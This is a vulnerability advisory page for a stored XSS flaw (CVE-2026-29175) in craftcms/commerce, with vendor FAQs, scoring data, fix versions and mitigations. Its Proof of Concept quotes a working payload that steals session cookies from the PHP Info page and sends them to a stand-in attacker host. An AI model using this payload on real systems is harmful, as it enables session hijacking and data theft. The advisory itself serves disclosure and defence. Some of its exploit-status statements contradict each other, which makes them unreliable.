How severe is CVE-2026-29175?

No CVSS score has been assigned to CVE-2026-29175 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-29175?

CVE-2026-29175 affects the following packages: craftcms/commerce (Packagist). Ecosystems affected: Packagist.

How do I fix CVE-2026-29175?

Update craftcms/commerce to 5.5.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-29175 is resolved across your whole dependency graph.

How do I detect CVE-2026-29175 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/commerce, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-29175 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-29175?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-29175 can be triaged on real exposure rather than presence alone.

Is CVE-2026-29175 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-29175 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-29175?

CVE-2026-29175 has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 14th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-29175?

CVE-2026-29175 is classified as Cross-site Scripting (XSS) (CWE-79). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-29175 published, and has it been updated?

CVE-2026-29175 was published on March 10, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

Not in CISA KEV

CVE-2026-29175 — craftcms/commerce

Fix: craftcms/commerce@9f0638a

CVE-2026-29175 is a Cross-site Scripting (XSS) vulnerability in craftcms/commerce. A fix is available for craftcms/commerce — see the affected versions and patch details below.

Multiple Stored XSS in Commerce Inventory Page Leading to Session Hijacking

Also known asGHSA-cfpv-rmpf-f624

Published

Mar 10, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-29175.

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs14th percentile — riskier than 14% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐘craftcms/commerce

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Stored XSS vulnerabilities exist in the Commerce Inventory page. The Product Title, Variant Title, and Variant SKU fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.

This vulnerability enables session hijacking by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.

Proof of Concept

Permissions Required

Access the control panel
Access Craft Commerce
Create/Edit products

Steps to Reproduce

Log in to the control panel
Navigate to Commerce → Products

Add a new product and set the Title field to: (replace https://attacker.com)

<img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\/th>\s*<td[^>]*>([\s\S]*?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})">

Save the product
Navigate to Commerce → Inventory (/admin/commerce/inventory)
XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server

Cookie Extraction Details

The PHP Info page (/admin/utilities/php-info) displays cookie values (unmasked) in multiple locations:

HTTP_COOKIE
Cookie (used in this PoC)
$_SERVER['HTTP_COOKIE']
$_COOKIE['<cookie-name>']

Notes

The same vulnerability exists in Variant Title and Variant SKU fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields.
$_COOKIE['CRAFT_CSRF_TOKEN'] is masked in PHP Info, but the unmasked value is available in the other parameters listed above.
This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.

Mitigation

Sanitize product and variant fields when rendering in the inventory template
Mask sensitive cookie values in the PHP Info utility page (similar to how CRAFT_CSRF_TOKEN, CRAFT_SECURITY_KEY, and CRAFT_DB_PASSWORD are already masked)

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`craftcms/commerce`	≥ 5.0.0&&< 5.5.3	5.5.3`composer require craftcms/commerce:^5.5.3`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/commerce, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update craftcms/commerce to 5.5.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-29175 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-29175 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-29175. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Stored XSS vulnerabilities exist in the Commerce Inventory page. The **Product Title**, **Variant Title**, and **Variant SKU** fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page. This vulnerability enables **session hijacking** by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction o

O3 Security · Impact-Aware SCA

Is CVE-2026-29175 in your dependencies?

O3 Security finds CVE-2026-29175 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works